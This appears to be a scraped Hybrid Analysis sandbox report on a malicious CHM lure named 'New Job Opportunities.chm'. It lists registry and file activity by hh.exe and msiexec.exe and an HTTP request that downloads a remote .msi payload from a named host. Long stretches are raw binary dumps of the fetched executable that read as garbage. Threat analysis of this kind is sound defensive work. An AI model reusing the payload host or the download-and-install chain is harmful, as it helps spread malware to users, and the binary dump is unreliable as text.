24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 33:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T42c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample bdd109cba834… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample bdd109cba834…. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985"],"about":{"@type":"SoftwareApplication","name":"New Job Opportunities.chm","applicationCategory":["text","mshelp"],"identifier":"bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4b7,"hh.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "hh.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "timeout.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")26:T48d,"hh.exe" queries volume information of "C:\Windows\Fonts\timesbd.ttf" at 00000000-00002724-00000046-3203212 "hh.exe" queries volume information of "C:\Windows\Fonts\timesbd.ttf" at 00000000-00002724-00000046-3254929 "hh.exe" queries volume information of "C:\Windows\Fonts\arialbd.ttf" at 00000000-00002724-00000046-3268867 "hh.exe" queries volume information of "C:\Windows\Fonts\times.ttf" at 00000000-00002724-00000046-3286887 "hh.exe" queries volume information of "C:\Windows\Fonts\arial.ttf" at 00000000-00002724-00000046-3883063 "hh.exe" queries volume information of "C:\Windows\Fonts\symbol.ttf" at 00000000-00002724-00000046-5960386 "hh.exe" queries volume information of "C:\Windows\Fonts\msgothic.ttc" at 00000000-00002724-00000046-6019068 "hh.exe" queries volume information of "C:\Windows\Fonts\symbol.ttf" at 00000000-00002724-00000046-24423915 "hh.exe" queries volume information of "C:\Windows\Fonts\msgothic.ttc" at 00000000-00002724-00000046-24691286 "msiexec.exe" queries volume information of "C:\" at 00000000-00001728-00000046-9447838 "msiexec.exe" queries volume information of "C:\" at 00000000-00002536-00000046-1060157704239025227:T7d1,"msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "")28:T516,"msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "")29:T596,"hh.exe" called "CreateDirectoryW" with parameter C:\ProgramData (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryA" with parameter C:\ProgramData (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryA" with parameter C:\ProgramData\Microsoft (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryA" with parameter C:\ProgramData\Microsoft\HTML Help (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\HAPUBWS (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryW" (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\QOtlEsD\AppData\Local (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\QOtlEsD\AppData\Local\Microsoft\Windows\History (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\QOtlEsD\AppData\Local\Microsoft\Windows\Caches (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryA" with parameter C:\Users\QOtlEsD\AppData\Roaming\Microsoft\HTML Help (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\QOtlEsD\AppData\Local\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00002724) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\QOtlEsD\AppData\Roaming\Microsoft\Windows\Cookies (UID: 00000000-00002724) "msiexec.exe" called "CreateDirectoryW" with parameter C:\Windows\Fonts (UID: 00000000-00002536)2a:T960,"hh.exe" touched "HHCtrl Object" (Path: "HKCU\CLSID\{52A2AAAE-085D-4187-97EA-8C30DB990436}\INPROCSERVER32") "hh.exe" touched "Microsoft InfoTech IStorage System" (Path: "HKCU\CLSID\{5D02926A-212E-11D0-9DF9-00A0C922E6EC}") "hh.exe" touched "Microsoft Web Browser" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8856F961-340A-11D0-A96B-00C04FD705A2}\TREATAS") "hh.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "hh.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "hh.exe" touched "Microsoft InfoTech Protocols for IE 4.0" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9D148291-B9C8-11D0-A4CC-0000F80149F6}\INPROCSERVER32") "hh.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\PROGID") "hh.exe" touched "HTML Document" (Path: "HKCU\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\TREATAS") "hh.exe" touched "Microsoft HTML About Pluggable Protocol" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3050F406-98B5-11CF-BB82-00AA00BDCE0B}\TREATAS") "hh.exe" touched "Browser Application State" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E569BDE7-A8DC-47F3-893F-FD2B31B3EEFD}\TREATAS") "hh.exe" touched "CActiveIMMAppEx_Trident" (Path: "HKCU\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\TREATAS") "hh.exe" touched "PeerDraw Class" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{10072CEC-8CC1-11D1-986E-00A0C955B42E}\TREATAS") "hh.exe" touched "JScript Language" (Path: "HKCU\CLSID\{16D51579-A30B-4C8B-A276-0FF4DC41E755}\INPROCSERVER32") "hh.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "hh.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "hh.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "hh.exe" touched "UsersLibraries" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "hh.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "hh.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "hh.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER")2b:T718,"77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002536] "hh.dat" has type "MS Windows HtmlHelp Data"- Location: [%APPDATA%\Microsoft\HTML Help\hh.dat]- [targetUID: 00000000-00002724] "MSI81C8.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%WINDIR%\Installer\MSI81C8.tmp]- [targetUID: 00000000-00002536] "MSI717B.tmp" has type "Composite Document File V2 Document Little Endian Os: Windows Version 10.0 MSI Installer Last Printed: Fri Dec 11 11:47:44 2009 Create Time/Date: Fri Dec 11 11:47:44 2009 Last Saved Time/Date: Fri Sep 18 14:06:51 2020 Security: 0 Code page: 1252 Revision Number: {8E045BB9-2F2E-45E9-90D5-8CFA918F63FD} Number of Words: 10 Template: ;1033 Number of Pages: 200"- Location: [%WINDIR%\Installer\MSI717B.tmp]- [targetUID: 00000000-00002536] "Cab5805.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 62932 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab5805.tmp]- [targetUID: 00000000-00002536] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 62932 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002536] "Tar5825.tmp" has type "data"- Location: [%TEMP%\Tar5825.tmp]- [targetUID: 00000000-00002536] "IMT2A4E.tmp" has type "data"- Location: [%TEMP%\IMT2A4E.tmp]- [targetUID: 00000000-00002724] "MSI8179.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%WINDIR%\Installer\MSI8179.tmp]- [targetUID: 00000000-00002536]2c:T4ba,"hh.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "hh.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "cmd.exe" touched file "C:\Windows\AppPatch\AppPatch64\sysmain.sdb" "msiexec.exe" touched file "C:\Windows\AppPatch\AppPatch64\sysmain.sdb" "msiexec.exe" touched file "C:\Windows\Fonts" "msiexec.exe" touched file "C:\Windows\Installer\MSI8179.tmp" "msiexec.exe" touched file "C:\Windows\Installer\MSI81C8.tmp" "msiexec.exe" touched file "C:\Windows\Installer\MSI717B.tmp"2d:T14177,"GET /6b7DYqmvI0hidukkcLOF0hNahSHKe8fZMmj7OeDfrv0=.msi HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Windows Installer Host: www.thecloudnet.org" "sJP2kH%ssPPkH%zbJs2PksHW%UI=1%sPkkHH%%sPkHs%WUI=1s%PkH%zbsJP2kH%ssPPzzznnnbbbVVVJJJ>>>222&&&{{{{{{p ?????? &(( @pwpp !"#$%&'()*+,-./0123456789:;<=>?@BCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmopqrstuvwxyz{|}~pppwwwwwpwwwwwpwwwpwwwpwpwwxwwwwwpxppwwwxwwwwp??( pwxppwwpwwwp ( @33133233333333333333$DDDDDDDDDDD@12DDDDDDDDDDDDD2DDDDDD@DDDDDDC2DDDDDD34DDDDDC2DDDDD@30DDDDD3$DDDDD34DDDDD13$DDDDD@DDDDD@1332DDDDDDDDDDDC332DDDDDCDDDDD333$DDDDDDDD1333$DDDD#$DDD@133332DDDD34DDDC33332DDD@30DDD33333$DDB32DDD133333$DDC33DD@13333332DDC33DDC3333332DDC33DD3333333$DC33DD13333333$DC33D@1333333332D@30DC333333332DDDDD333333333$DDDD1333333333$DDD@133333333332DDDC33333333332DDD33333333333$DD133333333333$D@13333333333332D3333333333333"#33333333333333333333333?? & ( @w{px{wp{wxxxww~xx~wwwzxxwwpwpwwwwwxxDDDDDOxvflOxwffOxvflOxwffOxvfOx~wfOxwvOxw~wOxDDDDDOxx?( @kH%zbJs2PkHs%WUI=1%sPkkHH%%sPksHW%UI=1%sPkH%zbJs2PkH%ssPPkH%zbsJP2kHs%WUI=1s%PkkHH%%sPksHW%UI=1s%PkH%zbsJP2kH%ssPPkH%zbJs2PksHW%UI=1%sPkkHH%%sPkHs%WUI=1s%PkH%zbsJP2kH%ssPPzzznnnbbbVVVJJJ>>>222&&&{{{{{{?(6h^ h( wv"""""o"""""owww"""/"""/r??( " " 6-9;<;D3,49O,Q$M2S:\1U$_1FGIA`@wq|q{,,,' "' ,',,,%' ',$$ ,,,,,"",,,,,' ',,',!','',,,??( @ Io# {+#_99U$,#2_199U$-"]\144Q$)qqqq`@ O M2""""""""""S:D3D3|wqwqwqwqIA 6-]<;" 9; f $FG9;x~ & ( @ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~MZ@!L!This program cannot be run in DOS mode. $ _^_^_^K_U^K_^K_M^_N^_M^_l^K_^^K_N^_^^_H^_^^^^^^_6^^^_^^Rich_^PEL>_"!-@(xxL YpY@|@.text `.rdata@@.data@.rsrcx@@.relocL@BhsYVFtPF^Ujh dPV3PEdDRFtPFMd Y^]Ujh@dPSVW3PEdeuEh3EQmEEu>Md Y_^[]Ujh dPV3PEdDRFtPFEtjVMd Y^]D$t$L$hPjjt$t$V6'^Ujh`dP3PEd9tMd Y]U$jhdP3SVWPEd}}DRGEEhPG= PEEEuMP~ (MQfDffu+EQPMEMjhRjhLRMuj\Vu3 jjVEFHVP3G;tP_uGEMd Y_^[3+]h@UjhdPQV3PEduEDRFtPFMd Y^]Ujh%dPSVW3PEdeyuEtP|EMd Y_^[]xH3`PEEHtPuR3*PEEhRMuP; hhRcEuvVMEVBH RP3PEE jhRM88tEPEUBH RPEUBH RPxk3$PEEMPPMX13PEEjhRM`8tSEUBH RPEUrN RPxD3_PEEHtPuYR3)PEEhRMuP hhRaEuvVMYEVBH RP3PEE!jhRM8tEPEUBH RPEUrN RPh@Zh@Ph@Fh@PZ[Q5ER40YgV'oyR8]fy^7]vE3$G|v=5S6afH-%LH;Y]kA7.=o=Y>SJIxi NU7_!Pu _C[gb(H"=HR}<}n`>9:%i[X9'_?g=Y>V/^cMLWv__wEWU!W I Ya^5vgcEF:f$mG+9?ks$vZ8nhXfD[RwOVIne^z`i6b2!-yv2f3X?_:+Mp>KW"&D`Y8Pc-k09C+NE*Tv(:e~jZ"04W}J =?@qur'|w|58ZA$tODuS,c-U+0DjobXs6.6er2 A/nm=i XW~h !J|XyGOI; '@#:ldm2UN6!~[9-iURsP6q5vXi.WN<9fJwUp^ !'=6f8o:m4cM_hA_WM7IX}b2 p_9HnW>jut^N|4t{BZt3,;q?M ;;@t#3Xfu(|h='h:D5G^9/VdiJ4?;43$S~n>Msc9%r#xXGdYBa3M(*AlXPgz~{*I0tT33a}nN=D;Gv9*&5oTUBO:xi9|`V=>Pzt!2Ms56b9##)8tp{s!xnf@r{rO= mLNHH{OL#9`9S$ _W CyS1=$t:-Gnw|QqwFowjgBL{EGSPjJAko- e(P,?E{>rTx+<(3g`tds9GTFebiNH?336O0:N}BTLO+#'i)=y-V_A)6zM 8.*(@R4]S6EAQNKSg?~P{sz14WmHiQy[<@ 7nJD[J*X%'s#S]}9-F @tlWk[]MI)P+FH6e$M1)g0cbR@s9:qg}G+@cNv='jII-yi5hx9XW/'Nc/&,UJ;i}9Nx>V0 ^Hs6T.,dE !f\?[.a?>f(2#m\x>V0C!Te6kI0RnGmF\^U& js$)LL4C9?0}#g(Dof:Vxz23,r]7q_@&woJjrh6Bdl NRazR+h_H &\_zNz}}N`bNGcpozJTb\ !,'2F[{{u9xa9R*&lgiMINZ(Hv?O;VS{{u9XY]SV%WWNn.B -=:_=/{mLMoOz+u=8vU&;x0Z7GS_M0ox6"P 0@&=cGh`yx,]p . 'kHh98Y1npno;8q#]]|L80^q<]\zVV}ob+u}k{ulUUUZUUU\[5UUWV#'b cUUUUT"UUVUUVXu`(D(UUUUUUUUUUUUUUUUUb-S'V@_vE\Z*U2WB_%x]!V<$Qf+EU?/#~=PoTJ5G@G]-DlFC|"B-eNJzvB: 9@gGAPy[J: C~U^Qa_l$95_M #3~Zz Qc8O:kA=n~[uPf ]Ai% `3p:uR)S\e 1]N2Ww%V](l_[CUSy{{=,X.La^|6n6/RR!j@R+1[3!Rwr0L{vMwV: W#f}sc!0-[_0xdg V0aST="as85\D^d!Ka|;O}=5>pet,|8ew:Z9b(yETBrQ0k5A]-t6^kFL*6gthm~V?1aRdsKdq2kxnb%5 0EqFi%]'CrLR?+0 LPDcN<|qpcE|Bd5#`S&%cHsfs2"GSsTV+oaR0O ]LiP?]4+6yJ(5NSQoV8Z#'(6ob=>+Ol((((((((((((((((((((((((((K}o_m1cwn~52~!JS4@M_J>7C:fqd<8|HYt.,-#(r^e*} /#_*i7y\H]U7 . wQYYwpa6FEQ!\OMn"%\*!@e$dW9zUA ,^]j#j[ /hq020NWq#^:mZ;f~6!?g_\:+((((((((((((((((((((((((( 0 A_2k,g/t,pR%?0E}5$I+"1^u]xr&k{u>-S_q]z W{Cu,(m]N]i-?"YGGxkk#ZG^s-p3[!l"pG m?foN31KH?QK5%[ui4cQW~#WtJOl_Aqw\ZAx@.6rdFJ0}5}CRE-cT+wDjP3-b2IY2J$?HTrrTc^+Kin'pD`I5pn'yH=1?|ADnE`Oy\>>222&&&*-*-*--{{{{{{?0 & ( @{wpxwxwwpxxw~x ~pxxpxwpzxxpxzxxxwwwwwwwwwpwwwwwwwpwwwwwwwwxwxDDDDDOxvflOxwffOxvflOxwffOxvfOx~wfOxwvOxw~wOxDDDDDOxxp ??????( @kH%zbJs2PkHs%WUI=1%sPkkHH%%sPksHW%UI=1%sPkH%zbJs2PkH%ssPPkH%zbsJP2kHs%WUI=1s%PkkHH%%sPksHW%UI=1s%PkH%zb", "HTTP/1.1 200 OK Date: Mon, 12 Dec 2022 23:09:16 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.12 X-Powered-By: PHP/8.1.12 Accept-Ranges: bytes Content-Length: 1523728 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/octet-stream >} {`"4 !-#2%&'()*+,./0153D@ABCE^GHIJKLMNOPQRSTUVWXYZ[\]_arbcdefghijklmnopqstuvwxyz{|~Root EntryFy|@SummaryInformation(<@HAEFAE(?(E8BA(HH@H?dA/B6HL@H?;C8DE@H??wElDj>D/H@H??wElDj;E$H H@HBExE(;2DD1BE6H !"#$&()*+ -./018345679:;<=>?@ABLDEFGHIJONQRSTUVWXYZ[\]_abcdfghiklmnopqrstuvwxyz{|}~ &&&&&&&&&&00449999999BBBEEEGGGIIIIIIIIILLPPPPPPRRRRRXXXXXZZZ[[[[_______________}}}}}}!!!!!! !!"'()*+,-./ L5<:/LN56J=L5P; 5"RS->0LN5=]LN5=`bdfhjlnprtvx{~6JL=J"" /LN5==~/"$&(*H&&H&&H HH&HHHHH2HHHH HHHHHH22H222HHH22H222HHHHHHH&&@HHH&HHHHH222H##$%@H?CAED1H0$X@HB*CE5G%@HDEE5ADhE0LN5=]LN &049BEGILPRXZ[_} !M !"#$%&'()*+,-./012345678yz{|}~ABCDEFGHI mnopqrstuvwxyz{|}~56789:;<=>?@A !"#$%&'()+,-./0123456789:;<=>?@BCDEFGHKLMNab)*+,-./013EFFEHG%%456789:;<=IKLMOPRSTJJJNNQQNU,^X &&&&&&&&&&00449999999BBBEEEGGGIIIIIIIIILLPPPPPPRRRRRXXXXXZZZ[[[[_______________}}}}}}!!!!!!!!"'()*+ -./ 5L:5=LN]5=LN`bdfhjlnprtvx{~6=JLJ"" /5=LN=~/"$&(*11116661116611111116666666116116611661661661661161111161161611111166161161661611166166666616611611116611616116116116661111611116161611161611111661661616616616116616116116111116611611666 dd020222V22222==20727=V=222=7=2==272722=772227722=7777=77===7227272222=272222722222222=2=2222V2772=2222227L=(=?6U7384DFCW2 BAC@D38;>ADFCDFCH:KO95MQ= 9t/9t 9t9ubXQJC<9t/9t 9t9uFPjY^qYEYF3_^[jhxE0,YeM*EMd Y_^[E0,YjhX`=<3@43]u,=8;t3SSShX uhdYE9uh8h(YYh@hu3 V(Y_^[UVW~MVUY;u_^]UE;TtPY]UE;PtPY]Fh[DHhvDL~5T5PYY6jheE0<#YeMuEMd Y_^[uE0E#YjheE0"YeMSuEMd Y_^[uE0"YUj Y+E3]UESVW0~3v33;+;w<0uj _;rjWSjE8Mu$j~WSjEME4}E+;#t}3@9I;u}E@0S]GPVAA3_^[USW]8uV733U}u;rT;Et3UEU@33;]]]u;EtuEt VYPP3^_[UuhXZYY]UjEEMXEEEPEPEPUMu];Au AA3]UEEMjEEXEEEPEPEPxXhX$dYV5VVV9Vt 6Y>_^]hXh7YYU}t=0t=]hXh7YY]Uu!Y]UEp]UV"tuYt3@3^]jhej'Ye535puEMd Y_^[uj,Yjh;pte3@eEtUQESVu+W39u#tEtUG;u_^[UVuW>tu ;uu3_^]n7tj7YHt"jtjY)jh@j)jUUVtMt uuj^0^]W+>Gtu_u Rj"3U]SVL$T$\$tP+t:uHt:Bv4u%=w;uv#t3^[^[UEu]MUVt2ft f;1u+^]U}t-uj5uVePY^]U}uA\]uj5]UW}uuY$VuuWmYv%3^_]:tVYtVWj5tjhE0YeE@HEMd Y_^[E0YjhXZE0YeEHHtuptQYEMd Y_^[E0YjhxE0-YejE0 YYEMd Y_^[E08Yjh8E0YeMA00YYEMd Y_^[E0YUE3AjCHEEPEYj@HpEfHlEfrMELEEXEEEPEPEP&EEMjEEXEEEPEPEPU}tuu YY]UEt QEYptWV6YYEMd Y_^[E09Y3t@UjXEMEEPEPEPbUVuw0uF3t V.YtVj5t /3^]UUVtMtuu3fj^0^]W+>fftu_u3fj"3UVuW}Aw Bw +uu_^]UEf;s MZtE]uP5:YY]U=tu)}u+F]}t]Mjuu]UVuuW}ukuM'Eu WVYY5SMQPMvQP+uu[}t EP_^h$h$h$jMh$h$h$j3hT$hL$hT$jhl$hd$hl$jh$h$h$jh$h$h$jUQSVW}0Et}hjSuPWu5jhSt!jh#Slt VVS3u MMtVu;}U3_^[UESW3;u3QtIVuuYYtuPt V-Yj Y+3=;3^_[]UVh$h$h$jatuj%^]Vt^3@^UVt'u(u$u uuuuuu uuuuujuOP@^]$UVh4$h,$hjtud^]UVh<$h4$h jftu^]^]%XUVhD$h<$h0j'tu^]^]%`UVhL$hD$hDjtuu^]^]%\UVt!u uuuuuu uuuuujuPH^]UVKuuuuutujuPD^]UVh$h|$hXj tuuuuuL^]UVt'u(u$u uuuuuu uuuuujuP<^]$UVtuuu5Y^]X3;V5"B0@;u^U}u'V>t>t6&u^]Xp3\`dh\`XdhUMuhjX]\3]UMu$wb EeMIT$BJ3Xw# MhIM`IT$BJ3J3wEeMIT$BJ3wMM05M$u0M5M(b0M 